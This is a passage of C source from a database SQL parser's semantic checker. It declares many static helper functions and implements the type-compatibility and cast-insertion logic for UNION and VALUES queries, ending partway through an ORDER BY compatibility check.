static int pt_is_real_class_of_vclass (PARSER_CONTEXT * parser, const PT_NODE * s_class, const PT_NODE * d_class);
static int pt_objects_assignable (PARSER_CONTEXT * parser, const PT_NODE * d_class_dt, const PT_NODE * s_class);
static int pt_class_compatible (PARSER_CONTEXT * parser, const PT_NODE * class1, const PT_NODE * class2,
bool view_definition_context);
static bool pt_vclass_compatible (PARSER_CONTEXT * parser, const PT_NODE * att, const PT_NODE * qcol);
static int pt_type_assignable (PARSER_CONTEXT * parser, const PT_NODE * d_type, const PT_NODE * s_type);
static int pt_collection_compatible (PARSER_CONTEXT * parser, const PT_NODE * col1, const PT_NODE * col2,
bool view_definition_context);
static PT_UNION_COMPATIBLE pt_union_compatible (PARSER_CONTEXT * parser, PT_NODE * item1, PT_NODE * item2,
bool view_definition_context, bool * is_object_type);
static bool pt_is_compatible_without_cast (PARSER_CONTEXT * parser, SEMAN_COMPATIBLE_INFO * dest_sci, PT_NODE * src,
bool * is_cast_allowed);
static PT_NODE *pt_to_compatible_cast (PARSER_CONTEXT * parser, PT_NODE * node, SEMAN_COMPATIBLE_INFO * cinfo,
int num_cinfo);
static void pt_get_compatible_info_from_node (const PT_NODE * att, SEMAN_COMPATIBLE_INFO * cinfo);
static PT_NODE *pt_get_common_type_for_union (PARSER_CONTEXT * parser, PT_NODE * att1, PT_NODE * att2,
SEMAN_COMPATIBLE_INFO * cinfo, int idx, bool * need_cast);
static PT_NODE *pt_append_statements_on_add_attribute (PARSER_CONTEXT * parser, PT_NODE * statement_list,
PT_NODE * stmt_node, const char *class_name,
const char *attr_name, PT_NODE * attr);
#if defined (ENABLE_UNUSED_FUNCTION) /* to disable TEXT */
static PT_NODE *pt_append_statements_on_change_default (PARSER_CONTEXT * parser, PT_NODE * statement_list,
PT_NODE * stmt_node, const char *class_name,
const char *attr_name, PT_NODE * value);
static PT_NODE *pt_append_statements_on_drop_attributes (PARSER_CONTEXT * parser, PT_NODE * statement_list,
const char *class_name_list);
#endif
static PT_NODE *pt_values_query_to_compatible_cast (PARSER_CONTEXT * parser, PT_NODE * node,
SEMAN_COMPATIBLE_INFO * cinfo, int num_cinfo);
static PT_NODE *pt_make_cast_with_compatible_info (PARSER_CONTEXT * parser, PT_NODE * att, PT_NODE * next_att,
SEMAN_COMPATIBLE_INFO * cinfo, bool * new_cast_added);
static SEMAN_COMPATIBLE_INFO *pt_get_values_query_compatible_info (PARSER_CONTEXT * parser, PT_NODE * node,
bool * need_cast);
static SEMAN_COMPATIBLE_INFO *pt_get_compatible_info (PARSER_CONTEXT * parser, PT_NODE * node, PT_NODE * select_list1,
PT_NODE * select_list2, bool * need_cast);
static bool pt_combine_compatible_info (PARSER_CONTEXT * parser, SEMAN_COMPATIBLE_INFO * cinfo1,
SEMAN_COMPATIBLE_INFO * cinfo2, PT_NODE * att1, PT_NODE * att2, int index);
static bool pt_update_compatible_info (PARSER_CONTEXT * parser, SEMAN_COMPATIBLE_INFO * cinfo, PT_TYPE_ENUM common_type,
SEMAN_COMPATIBLE_INFO * att1_info, SEMAN_COMPATIBLE_INFO * att2_info);
#if defined (ENABLE_UNUSED_FUNCTION) /* to disable TEXT */
static PT_NODE *pt_make_parameter (PARSER_CONTEXT * parser, const char *name, int is_out_parameter);
static PT_NODE *pt_append_statements_on_insert (PARSER_CONTEXT * parser, PT_NODE * stmt_node, const char *class_name,
const char *attr_name, PT_NODE * value, PT_NODE * parameter);
static PT_NODE *pt_append_statements_on_update (PARSER_CONTEXT * parser, PT_NODE * stmt_node, const char *class_name,
const char *attr_name, const char *alias_name, PT_NODE * value,
PT_NODE ** where_ptr);
static PT_NODE *pt_append_statements_on_delete (PARSER_CONTEXT * parser, PT_NODE * stmt_node, const char *class_name,
const char *attr_name, const char *alias_name, PT_NODE ** where_ptr);
static void pt_resolve_insert_external (PARSER_CONTEXT * parser, PT_NODE * insert);
static void pt_resolve_update_external (PARSER_CONTEXT * parser, PT_NODE * update);
static void pt_resolve_delete_external (PARSER_CONTEXT * parser, PT_NODE * delete);
static PT_NODE *pt_make_default_value (PARSER_CONTEXT * parser, const char *class_name, const char *attr_name);
#endif /* ENABLE_UNUSED_FUNCTION */
static void pt_resolve_default_external (PARSER_CONTEXT * parser, PT_NODE * alter);
static PT_NODE *pt_check_data_default (PARSER_CONTEXT * parser, PT_NODE * data_default_list);
static PT_NODE *pt_find_query (PARSER_CONTEXT * parser, PT_NODE * tree, void *arg, int *continue_walk);
static PT_NODE *pt_find_default_expression (PARSER_CONTEXT * parser, PT_NODE * tree, void *arg, int *continue_walk);
static PT_NODE *pt_find_aggregate_function (PARSER_CONTEXT * parser, PT_NODE * tree, void *arg, int *continue_walk);
static PT_NODE *pt_find_aggregate_analytic_pre (PARSER_CONTEXT * parser, PT_NODE * tree, void *arg, int *continue_walk);
static PT_NODE *pt_find_aggregate_analytic_post (PARSER_CONTEXT * parser, PT_NODE * tree, void *arg,
int *continue_walk);
static PT_NODE *pt_find_aggregate_analytic_in_where (PARSER_CONTEXT * parser, PT_NODE * node);
static void pt_check_attribute_domain (PARSER_CONTEXT * parser, PT_NODE * attr_defs, PT_MISC_TYPE class_type,
const char *self, const bool reuse_oid, PT_NODE * stmt);
static void pt_check_mutable_attributes (PARSER_CONTEXT * parser, DB_OBJECT * cls, PT_NODE * attr_defs);
static void pt_check_alter (PARSER_CONTEXT * parser, PT_NODE * alter);
static const char *attribute_name (PARSER_CONTEXT * parser, PT_NODE * att);
static int is_shared_attribute (PARSER_CONTEXT * parser, PT_NODE * att);
static int pt_find_partition_column_count_func (PT_NODE * func, PT_NODE ** name_node);
static int pt_find_partition_column_count (PT_NODE * expr, PT_NODE ** name_node);
static int pt_value_links_add (PARSER_CONTEXT * parser, PT_NODE * val, PT_NODE * parts, PT_VALUE_LINKS * ptl);
static int pt_check_partition_values (PARSER_CONTEXT * parser, PT_TYPE_ENUM desired_type, PT_NODE * data_type,
PT_VALUE_LINKS * ptl, PT_NODE * parts);
static void pt_check_partitions (PARSER_CONTEXT * parser, PT_NODE * stmt, MOP dbobj);
static int partition_range_min_max (DB_VALUE ** dest, DB_VALUE * inval, int min_max);
static int db_value_list_add (DB_VALUE_PLIST ** ptail, DB_VALUE * val);
static int db_value_list_find (const DB_VALUE_PLIST * phead, const DB_VALUE * val);
static int db_value_list_finddel (DB_VALUE_PLIST ** phead, DB_VALUE * val);
static void pt_check_alter_partition (PARSER_CONTEXT * parser, PT_NODE * stmt, MOP dbobj);
static bool pt_attr_refers_to_self (PARSER_CONTEXT * parser, PT_NODE * attr, const char *self);
static bool pt_is_compatible_type (const PT_TYPE_ENUM arg1_type, const PT_TYPE_ENUM arg2_type);
static PT_UNION_COMPATIBLE pt_check_vclass_attr_qspec_compatible (PARSER_CONTEXT * parser, PT_NODE * attr,
PT_NODE * col);
static PT_NODE *pt_check_vclass_query_spec (PARSER_CONTEXT * parser, PT_NODE * qry, PT_NODE * attrs, const char *self,
const bool do_semantic_check);
static PT_NODE *pt_type_cast_vclass_query_spec (PARSER_CONTEXT * parser, PT_NODE * qry, PT_NODE * attrs);
static PT_NODE *pt_check_default_vclass_query_spec (PARSER_CONTEXT * parser, PT_NODE * qry, PT_NODE * attrs);
static void pt_check_create_view (PARSER_CONTEXT * parser, PT_NODE * stmt);
static void pt_check_create_entity (PARSER_CONTEXT * parser, PT_NODE * node);
static void pt_check_create_user (PARSER_CONTEXT * parser, PT_NODE * node);
static void pt_check_create_index (PARSER_CONTEXT * parser, PT_NODE * node);
static void pt_check_alter_synonym (PARSER_CONTEXT * parser, PT_NODE * node);
static void pt_check_create_synonym (PARSER_CONTEXT * parser, PT_NODE * node);
static void pt_check_drop_synonym (PARSER_CONTEXT * parser, PT_NODE * node);
static void pt_check_rename_synonym (PARSER_CONTEXT * parser, PT_NODE * node);
static void pt_check_drop (PARSER_CONTEXT * parser, PT_NODE * node);
static void pt_check_grant_revoke (PARSER_CONTEXT * parser, PT_NODE * node);
static void pt_check_method (PARSER_CONTEXT * parser, PT_NODE * node);
static void pt_check_truncate (PARSER_CONTEXT * parser, PT_NODE * node);
static void pt_check_kill (PARSER_CONTEXT * parser, PT_NODE * node);
static void pt_check_update_stats (PARSER_CONTEXT * parser, PT_NODE * node);
static PT_NODE *pt_check_single_valued_node (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk);
static PT_NODE *pt_check_single_valued_node_post (PARSER_CONTEXT * parser, PT_NODE * node, void *arg,
int *continue_walk);
static void pt_check_into_clause (PARSER_CONTEXT * parser, PT_NODE * qry);
static int pt_normalize_path (PARSER_CONTEXT * parser, REFPTR (char, c));
static int pt_json_str_codeset_normalization (PARSER_CONTEXT * parser, REFPTR (char, c));
static int pt_check_json_table_node (PARSER_CONTEXT * parser, PT_NODE * node);
static PT_NODE *pt_semantic_check_local (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk);
static PT_NODE *pt_gen_isnull_preds (PARSER_CONTEXT * parser, PT_NODE * pred, PT_CHAIN_INFO * chain);
static PT_NODE *pt_path_chain (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk);
static PT_NODE *pt_expand_isnull_preds_helper (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk);
static PT_NODE *pt_expand_isnull_preds (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk);
static PT_NODE *pt_check_and_replace_hostvar (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk);
static PT_NODE *pt_check_with_clause (PARSER_CONTEXT * parser, PT_NODE * node);
static PT_NODE *pt_check_with_info (PARSER_CONTEXT * parser, PT_NODE * node, SEMANTIC_CHK_INFO * info);
static DB_OBJECT *pt_find_class (PARSER_CONTEXT * parser, PT_NODE * p, bool for_update);
static void pt_check_unique_attr (PARSER_CONTEXT * parser, const char *entity_name, PT_NODE * att,
PT_NODE_TYPE att_type);
static void pt_check_function_index_expr (PARSER_CONTEXT * parser, PT_NODE * node);
static PT_NODE *pt_check_function_index_expr_pre (PARSER_CONTEXT * parser, PT_NODE * node, void *arg,
int *continue_walk);
static void pt_check_assignments (PARSER_CONTEXT * parser, PT_NODE * stmt);
static PT_NODE *pt_replace_names_in_update_values (PARSER_CONTEXT * parser, PT_NODE * update);
static PT_NODE *pt_replace_referenced_attributes (PARSER_CONTEXT * parser, PT_NODE * node, void *arg,
int *continue_walk);
static PT_NODE *pt_coerce_insert_values (PARSER_CONTEXT * parser, PT_NODE * stmt);
static void pt_check_xaction_list (PARSER_CONTEXT * parser, PT_NODE * node);
static PT_NODE *pt_count_iso_nodes (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk);
static PT_NODE *pt_count_time_nodes (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk);
static PT_NODE *pt_check_isolation_lvl (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk);
static PT_NODE *pt_check_constraint (PARSER_CONTEXT * parser, const PT_NODE * create, const PT_NODE * constraint);
static PT_NODE *pt_check_constraints (PARSER_CONTEXT * parser, const PT_NODE * create);
static int pt_check_auto_increment_table_option (PARSER_CONTEXT * parser, PT_NODE * create);
static DB_OBJECT *pt_check_user_exists (PARSER_CONTEXT * parser, PT_NODE * cls_ref);
static int pt_collection_assignable (PARSER_CONTEXT * parser, const PT_NODE * d_col, const PT_NODE * s_col);
static int pt_assignment_class_compatible (PARSER_CONTEXT * parser, PT_NODE * lhs, PT_NODE * rhs);
static PT_NODE *pt_assignment_compatible (PARSER_CONTEXT * parser, PT_NODE * lhs, PT_NODE * rhs);
static int pt_check_defaultf (PARSER_CONTEXT * parser, PT_NODE * node);
static PT_NODE *pt_check_vclass_union_spec (PARSER_CONTEXT * parser, PT_NODE * qry, PT_NODE * attrds);
static int pt_check_group_concat_order_by (PARSER_CONTEXT * parser, PT_NODE * func);
static bool pt_has_parameters (PARSER_CONTEXT * parser, PT_NODE * stmt);
static PT_NODE *pt_is_parameter_node (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk);
static PT_NODE *pt_resolve_sort_spec_expr (PARSER_CONTEXT * parser, PT_NODE * sort_spec, PT_NODE * select_list);
static bool pt_compare_sort_spec_expr (PARSER_CONTEXT * parser, PT_NODE * expr1, PT_NODE * expr2);
static PT_NODE *pt_find_matching_sort_spec (PARSER_CONTEXT * parser, PT_NODE * spec, PT_NODE * spec_list,
PT_NODE * select_list);
static PT_NODE *pt_remove_unusable_sort_specs (PARSER_CONTEXT * parser, PT_NODE * list);
static PT_NODE *pt_check_analytic_function (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk);
static PT_NODE *pt_check_filter_index_expr_pre (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk);
static PT_NODE *pt_check_filter_index_expr_post (PARSER_CONTEXT * parser, PT_NODE * node, void *arg,
int *continue_walk);
static void pt_check_filter_index_expr (PARSER_CONTEXT * parser, PT_NODE * atts, PT_NODE * node, MOP db_obj);
static PT_NODE *pt_check_sub_insert (PARSER_CONTEXT * parser, PT_NODE * node, void *void_arg, int *continue_walk);
static PT_NODE *pt_get_assignments (PT_NODE * node);
static int pt_check_cume_dist_percent_rank_order_by (PARSER_CONTEXT * parser, PT_NODE * func);
static PT_UNION_COMPATIBLE pt_get_select_list_coll_compat (PARSER_CONTEXT * parser, PT_NODE * query,
SEMAN_COMPATIBLE_INFO * cinfo, int num_cinfo);
static PT_UNION_COMPATIBLE pt_apply_union_select_list_collation (PARSER_CONTEXT * parser, PT_NODE * query,
SEMAN_COMPATIBLE_INFO * cinfo, int num_cinfo);
static PT_NODE *pt_mark_union_leaf_nodes (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk);
static void pt_check_vacuum (PARSER_CONTEXT * parser, PT_NODE * node);
static PT_NODE *pt_check_where (PARSER_CONTEXT * parser, PT_NODE * node);
static int pt_check_range_partition_strict_increasing (PARSER_CONTEXT * parser, PT_NODE * stmt, PT_NODE * part,
PT_NODE * part_next, PT_NODE * column_dt);
static int pt_coerce_partition_value_with_data_type (PARSER_CONTEXT * parser, PT_NODE * value, PT_NODE * data_type);
/* pt_combine_compatible_info () - combine two cinfo into cinfo1
* return: true if compatible, else false
* cinfo1(in);
* cinfo2(in):
* att1(in):
* att2(in):
* index(in): for update the idx of cinfo1
*/
static bool
pt_combine_compatible_info (PARSER_CONTEXT * parser, SEMAN_COMPATIBLE_INFO * cinfo1, SEMAN_COMPATIBLE_INFO * cinfo2,
PT_NODE * att1, PT_NODE * att2, int index)
{
PT_TYPE_ENUM common_type;
bool is_compatible = false;
assert (parser != NULL && cinfo1 != NULL && cinfo2 != NULL);
assert (att1 != NULL && att2 != NULL);
/* init cinfo before combine */
if (cinfo1->idx == -1 && cinfo2->idx == -1)
{
return true;
}
if (cinfo1->idx == -1)
{
cinfo1->idx = index;
pt_get_compatible_info_from_node (att1, cinfo1);
}
if (cinfo2->idx == -1)
{
cinfo2->idx = index;
pt_get_compatible_info_from_node (att2, cinfo2);
}
common_type = pt_common_type (cinfo1->type_enum, cinfo2->type_enum);
is_compatible = pt_update_compatible_info (parser, cinfo1, common_type, cinfo1, cinfo2);
return is_compatible;
}
/* pt_update_compatible_info () - update cinfo after get common type for cast
* return: true if compatible, else false
* cinfo(in);
* common_type(in):
* int p1, s1, p2, s2: prec1,scale1,prec2 and scale2
*/
static bool
pt_update_compatible_info (PARSER_CONTEXT * parser, SEMAN_COMPATIBLE_INFO * cinfo, PT_TYPE_ENUM common_type,
SEMAN_COMPATIBLE_INFO * att1_info, SEMAN_COMPATIBLE_INFO * att2_info)
{
bool is_compatible = false;
assert (parser != NULL && cinfo != NULL);
assert (att1_info != NULL && att2_info != NULL);
switch (common_type)
{
case PT_TYPE_CHAR:
case PT_TYPE_VARCHAR:
case PT_TYPE_NCHAR:
case PT_TYPE_VARNCHAR:
case PT_TYPE_BIT:
case PT_TYPE_VARBIT:
is_compatible = true;
if (common_type == PT_TYPE_CHAR || common_type == PT_TYPE_VARCHAR)
{
cinfo->type_enum = PT_TYPE_VARCHAR;
}
else if (common_type == PT_TYPE_NCHAR || common_type == PT_TYPE_VARNCHAR)
{
cinfo->type_enum = PT_TYPE_VARNCHAR;
}
else
{
cinfo->type_enum = PT_TYPE_VARBIT;
}
if (att1_info->prec == DB_DEFAULT_PRECISION || att2_info->prec == DB_DEFAULT_PRECISION)
{
cinfo->prec = DB_DEFAULT_PRECISION;
}
else
{
cinfo->prec = MAX (att1_info->prec, att2_info->prec);
if (cinfo->prec == 0)
{
cinfo->prec = DB_DEFAULT_PRECISION;
}
}
break;
case PT_TYPE_NUMERIC:
is_compatible = true;
cinfo->type_enum = common_type;
cinfo->scale = MAX (att1_info->scale, att2_info->scale);
cinfo->prec = MAX ((att1_info->prec - att1_info->scale), (att2_info->prec - att2_info->scale)) + cinfo->scale;
if (cinfo->prec > DB_MAX_NUMERIC_PRECISION)
{ /* overflow */
cinfo->scale -= (cinfo->prec - DB_MAX_NUMERIC_PRECISION);
if (cinfo->scale < 0)
{
cinfo->scale = 0;
}
cinfo->prec = DB_MAX_NUMERIC_PRECISION;
}
break;
case PT_TYPE_SET:
case PT_TYPE_MULTISET:
case PT_TYPE_SEQUENCE:
/* NEVER try to fix set types */
is_compatible = true;
break;
case PT_TYPE_NONE:
is_compatible = false;
break;
default:
is_compatible = true;
cinfo->type_enum = common_type;
break;
}
return is_compatible;
}
/* pt_values_query_to_compatible_cast () - cast select list with cinfo
* return:
* parser(in):
* node(in):
* cinfo(in):
*/
static PT_NODE *
pt_values_query_to_compatible_cast (PARSER_CONTEXT * parser, PT_NODE * node, SEMAN_COMPATIBLE_INFO * cinfo,
int num_cinfo)
{
PT_NODE *node_list, *result = node;
int i;
PT_NODE *attrs, *att;
PT_NODE *prev_att, *next_att, *new_att = NULL;
bool new_cast_added;
bool need_to_cast;
PT_NODE_LIST_INFO *cur_node_list_info;
bool is_select_data_type_set = false;
assert (parser != NULL && node != NULL && cinfo != NULL);
assert (node->node_type == PT_SELECT && PT_IS_VALUE_QUERY (node));
node_list = node->info.query.q.select.list;
assert (node_list);
for (; node_list; node_list = node_list->next)
{
cur_node_list_info = &node_list->info.node_list;
attrs = cur_node_list_info->list;
prev_att = NULL;
for (att = attrs, i = 0; i < num_cinfo && att != NULL; ++i, att = next_att)
{
bool is_cast_allowed = true;
new_cast_added = false;
next_att = att->next;
need_to_cast = false;
if (cinfo[i].idx == i)
{
if (!pt_is_compatible_without_cast (parser, &(cinfo[i]), att, &is_cast_allowed))
{
need_to_cast = true;
if ((PT_IS_STRING_TYPE (att->type_enum) || att->type_enum == PT_TYPE_NUMERIC)
&& att->data_type == NULL)
{
result = NULL;
goto end;
}
}
}
if (need_to_cast)
{
if (!is_cast_allowed)
{
result = NULL;
goto end;
}
new_att = pt_make_cast_with_compatible_info (parser, att, next_att, cinfo + i, &new_cast_added);
if (new_att == NULL)
{
goto out_of_mem;
}
if (new_cast_added)
{
att = new_att;
}
if (prev_att == NULL)
{
cur_node_list_info->list = att;
if (is_select_data_type_set == false)
{
node->type_enum = att->type_enum;
if (node->data_type)
{
parser_free_tree (parser, node->data_type);
}
node->data_type = parser_copy_tree_list (parser, att->data_type);
is_select_data_type_set = true;
}
}
else
{
prev_att->next = att;
}
}
prev_att = att;
}
}
end:
return result;
out_of_mem:
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_OUT_OF_MEMORY);
return NULL;
}
/*
* pt_get_compatible_info () -
* return: return a pointer of SEMAN_COMPATIBLE_INFO array or null on error
* parser(in): parser context
* node(in): values query node or union
* select_list1(in):
* select_list2(in):
* need_cast(in/out):
* current_row(in): for value query error info
* note: the return pointer must be freed by free_and_init
*/
static SEMAN_COMPATIBLE_INFO *
pt_get_compatible_info (PARSER_CONTEXT * parser, PT_NODE * node, PT_NODE * select_list1, PT_NODE * select_list2,
bool * need_cast)
{
PT_NODE *att1, *att2, *p, *q;
PT_UNION_COMPATIBLE compatible;
SEMAN_COMPATIBLE_INFO *cinfo = NULL, *result = NULL;
bool is_object_type;
int i, k;
int cnt1, cnt2;
bool need_cast_tmp = false;
assert (parser != NULL && node != NULL && select_list1 != NULL && select_list2 != NULL && need_cast != NULL);
*need_cast = false;
p = select_list1;
q = select_list2;
if (p->node_type == PT_NODE_LIST)
{
assert (q->node_type == PT_NODE_LIST);
select_list1 = p->info.node_list.list;
select_list2 = q->info.node_list.list;
}
cnt1 = pt_length_of_select_list (select_list1, EXCLUDE_HIDDEN_COLUMNS);
cnt2 = pt_length_of_select_list (select_list2, EXCLUDE_HIDDEN_COLUMNS);
if (cnt1 != cnt2)
{
if (select_list1->node_type == PT_NODE_LIST)
{
PT_ERRORmf4 (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_ARITY_OF_VALUES_CLAUSE_MISMATCH, cnt1,
pt_short_print (parser, p), cnt2, pt_short_print (parser, q));
}
else
{
PT_ERRORmf2 (parser, select_list1, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_ARITY_MISMATCH, cnt1, cnt2);
}
goto end;
}
/* compare the columns */
for (i = 0, att1 = select_list1, att2 = select_list2; i < cnt1; ++i, att1 = att1->next, att2 = att2->next)
{
compatible = pt_union_compatible (parser, att1, att2, false, &is_object_type);
if (compatible == PT_UNION_INCOMP)
{
/* alloc compatible info array */
if (cinfo == NULL)
{
cinfo = (SEMAN_COMPATIBLE_INFO *) malloc (cnt1 * sizeof (SEMAN_COMPATIBLE_INFO));
if (cinfo == NULL)
{
goto out_of_mem;
}
for (k = 0; k < cnt1; ++k)
{
cinfo[k].idx = -1;
cinfo[k].type_enum = PT_TYPE_NONE;
cinfo[k].prec = DB_DEFAULT_PRECISION;
cinfo[k].scale = DB_DEFAULT_SCALE;
cinfo[k].force_cast = false;
cinfo[k].coll_infer.coll_id = LANG_SYS_COLLATION;
cinfo[k].coll_infer.codeset = LANG_SYS_CODESET;
cinfo[k].coll_infer.coerc_level = PT_COLLATION_NOT_COERC;
cinfo[k].coll_infer.can_force_cs = false;
cinfo[k].ref_att = NULL;
}
}
if (pt_get_common_type_for_union (parser, att1, att2, &cinfo[i], i, &need_cast_tmp) == NULL)
{
goto end;
}
*need_cast |= need_cast_tmp;
}
else if (compatible == PT_UNION_INCOMP_CANNOT_FIX || compatible == PT_UNION_ERROR)
{
if (!is_object_type)
{
PT_ERRORmf2 (parser, att1, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_UNION_INCOMPATIBLE,
pt_short_print (parser, att1), pt_short_print (parser, att2));
goto end;
}
}
}
result = cinfo;
end:
if (result != cinfo && cinfo != NULL)
{
free_and_init (cinfo);
}
return result;
out_of_mem:
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_OUT_OF_MEMORY);
return NULL;
}
/*
* pt_make_cast_with_compatible_info () -
* return: return a pointer to PT_EXPR node (cast)
* parser(in): parser context
* att(in): current attribute
* next_att(in): next attribute
* cinfo(in): compatible info
* new_cast_added(out): true if a new PT_EXPR node for cast if allocated, else false
*/
static PT_NODE *
pt_make_cast_with_compatible_info (PARSER_CONTEXT * parser, PT_NODE * att, PT_NODE * next_att,
SEMAN_COMPATIBLE_INFO * cinfo, bool * new_cast_added)
{
PT_EXPR_INFO *temp_expr;
PT_DATA_TYPE_INFO *temp_data_type;
PT_NODE *new_att = NULL, *new_dt = NULL;
assert (parser != NULL && att != NULL && cinfo != NULL && new_cast_added != NULL);
*new_cast_added = false;
if (att->node_type == PT_EXPR && att->info.expr.op == PT_CAST && att->etc != NULL)
{
/* system added cast operator */
temp_expr = &att->info.expr;
temp_expr->cast_type->type_enum = cinfo->type_enum;
temp_data_type = &temp_expr->cast_type->info.data_type;
temp_data_type->precision = cinfo->prec;
temp_data_type->dec_precision = cinfo->scale;
if (PT_HAS_COLLATION (cinfo->type_enum))
{
temp_data_type->collation_id = cinfo->coll_infer.coll_id;
temp_data_type->units = (int) cinfo->coll_infer.codeset;
}
att->type_enum = att->info.expr.cast_type->type_enum;
att->data_type->type_enum = cinfo->type_enum;
temp_data_type = &att->data_type->info.data_type;
temp_data_type->precision = cinfo->prec;
temp_data_type->dec_precision = cinfo->scale;
if (PT_HAS_COLLATION (cinfo->type_enum))
{
temp_data_type->collation_id = cinfo->coll_infer.coll_id;
temp_data_type->units = (int) cinfo->coll_infer.codeset;
}
new_att = att;
}
else
{
/* create new cast node */
att->next = NULL;
new_att = parser_new_node (parser, PT_EXPR);
new_dt = parser_new_node (parser, PT_DATA_TYPE);
if (new_att == NULL || new_dt == NULL)
{
if (new_att)
{
parser_free_tree (parser, new_att);
new_att = NULL;
}
if (new_dt)
{
parser_free_tree (parser, new_dt);
new_dt = NULL;
}
goto out_of_mem;
}
/* move alias */
new_att->line_number = att->line_number;
new_att->column_number = att->column_number;
if (att->alias_print == NULL && att->node_type == PT_NAME)
{
new_att->alias_print = att->info.name.original;
}
else
{
new_att->alias_print = att->alias_print;
}
att->alias_print = NULL;
new_dt->type_enum = cinfo->type_enum;
temp_data_type = &new_dt->info.data_type;
temp_data_type->precision = cinfo->prec;
temp_data_type->dec_precision = cinfo->scale;
if (PT_HAS_COLLATION (cinfo->type_enum))
{
temp_data_type->collation_id = cinfo->coll_infer.coll_id;
temp_data_type->units = (int) cinfo->coll_infer.codeset;
}
new_att->type_enum = new_dt->type_enum;
temp_expr = &new_att->info.expr;
temp_expr->op = PT_CAST;
temp_expr->cast_type = new_dt;
temp_expr->arg1 = att;
new_att->next = next_att;
new_att->etc = cinfo; /* to make this as system added */
new_att->flag.is_value_query = att->flag.is_value_query;
new_att->data_type = parser_copy_tree_list (parser, new_dt);
PT_EXPR_INFO_SET_FLAG (new_att, PT_EXPR_INFO_CAST_SHOULD_FOLD);
*new_cast_added = true;
}
return new_att;
out_of_mem:
/* the error msg will be set in the caller */
return NULL;
}
/*
* pt_get_values_query_compatible_info () -
* return: return a pointer of SEMAN_COMPATIBLE_INFO array or null on error
* parser(in): parser context
* node(in): values query node
* need_cast(in/out):
*
* note: the return pointer must be freed by free_and_init
*/
static SEMAN_COMPATIBLE_INFO *
pt_get_values_query_compatible_info (PARSER_CONTEXT * parser, PT_NODE * node, bool * need_cast)
{
PT_NODE *attrs1, *attrs2, *att1, *att2, *node_list, *next_node_list;
SEMAN_COMPATIBLE_INFO *cinfo = NULL, *cinfo_cur = NULL, *result = NULL;
int i, count;
bool is_compatible, need_cast_cond = false;
assert (parser);
*need_cast = false;
if (node == NULL || node->node_type != PT_SELECT || !PT_IS_VALUE_QUERY (node))
{
return NULL;
}
node_list = node->info.query.q.select.list;
if (node_list == NULL)
{
return NULL;
}
attrs1 = node_list->info.node_list.list;
next_node_list = node_list->next;
/* only one row */
if (next_node_list == NULL)
{
return NULL;
}
attrs2 = next_node_list->info.node_list.list;
count = pt_length_of_select_list (attrs1, EXCLUDE_HIDDEN_COLUMNS);
/* get compatible_info for cast */
while (next_node_list != NULL)
{
cinfo_cur = pt_get_compatible_info (parser, node, node_list, next_node_list, &need_cast_cond);
if (cinfo_cur == NULL && need_cast_cond)
{
goto end;
}
if (cinfo == NULL)
{
cinfo = cinfo_cur;
*need_cast = need_cast_cond;
cinfo_cur = NULL; /* do not free */
}
else
{
/* compare cinfo[i].type_enum and cinfo_cur[i].type_enum and save the compatible type_enum in cinfo[i] */
if (need_cast_cond)
{
is_compatible = true;
for (i = 0, att1 = attrs1, att2 = attrs2; i < count; ++i, att1 = att1->next, att2 = att2->next)
{
if (cinfo_cur[i].idx == -1)
{
continue;
}
if (cinfo[i].idx == -1)
{
cinfo[i] = cinfo_cur[i];
*need_cast = true;
continue;
}
/* if equal, skip the following steps */
if (cinfo[i].type_enum == cinfo_cur[i].type_enum && cinfo[i].prec == cinfo_cur[i].prec
&& cinfo[i].scale == cinfo_cur[i].scale
&& cinfo[i].coll_infer.coll_id == cinfo_cur[i].coll_infer.coll_id)
{
assert (cinfo[i].idx == cinfo_cur[i].idx);
continue;
}
/* combine the two cinfos */
is_compatible = pt_combine_compatible_info (parser, cinfo + i, cinfo_cur + i, att1, att2, i);
if (!is_compatible)
{
break;
}
*need_cast = true;
}
if (!is_compatible)
{
PT_ERRORmf2 (parser, att1, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_UNION_INCOMPATIBLE,
pt_short_print (parser, att1), pt_short_print (parser, att2));
goto end;
}
}
}
attrs1 = attrs2;
node_list = next_node_list;
next_node_list = next_node_list->next;
if (next_node_list != NULL)
{
attrs2 = next_node_list->info.node_list.list;
}
/* free cinfo_cur */
free_and_init (cinfo_cur);
}
/* assign cinfo to return value */
result = cinfo;
end:
if (cinfo_cur != NULL)
{
free_and_init (cinfo_cur);
}
if (result != cinfo && cinfo != NULL)
{
free_and_init (cinfo);
}
return result;
}
/*
* pt_check_compatible_node_for_orderby ()
*/
bool
pt_check_compatible_node_for_orderby (PARSER_CONTEXT * parser, PT_NODE * order, PT_NODE * column)
{
PT_NODE *arg1, *cast_type;
PT_TYPE_ENUM type1, type2;
if (order == NULL || column == NULL || order->node_type != PT_EXPR || order->info.expr.op != PT_CAST)
{
return false;
}
arg1 = order->info.expr.arg1;
if (arg1->node_type != column->node_type)
{
return false;
}
if (arg1->node_type != PT_NAME && arg1->node_type != PT_DOT_)
{
return false;
}
if (pt_check_path_eq (parser, arg1, column) != 0)
{
return false;
}
cast_type = order->info.expr.cast_type;
assert (cast_type != NULL);
type1 = arg1->type_enum;
type2 = cast_type->type_enum;
if (PT_IS_NUMERIC_TYPE (type1) && PT_IS_NUMERIC_TYPE (type2))
{
return true;
}
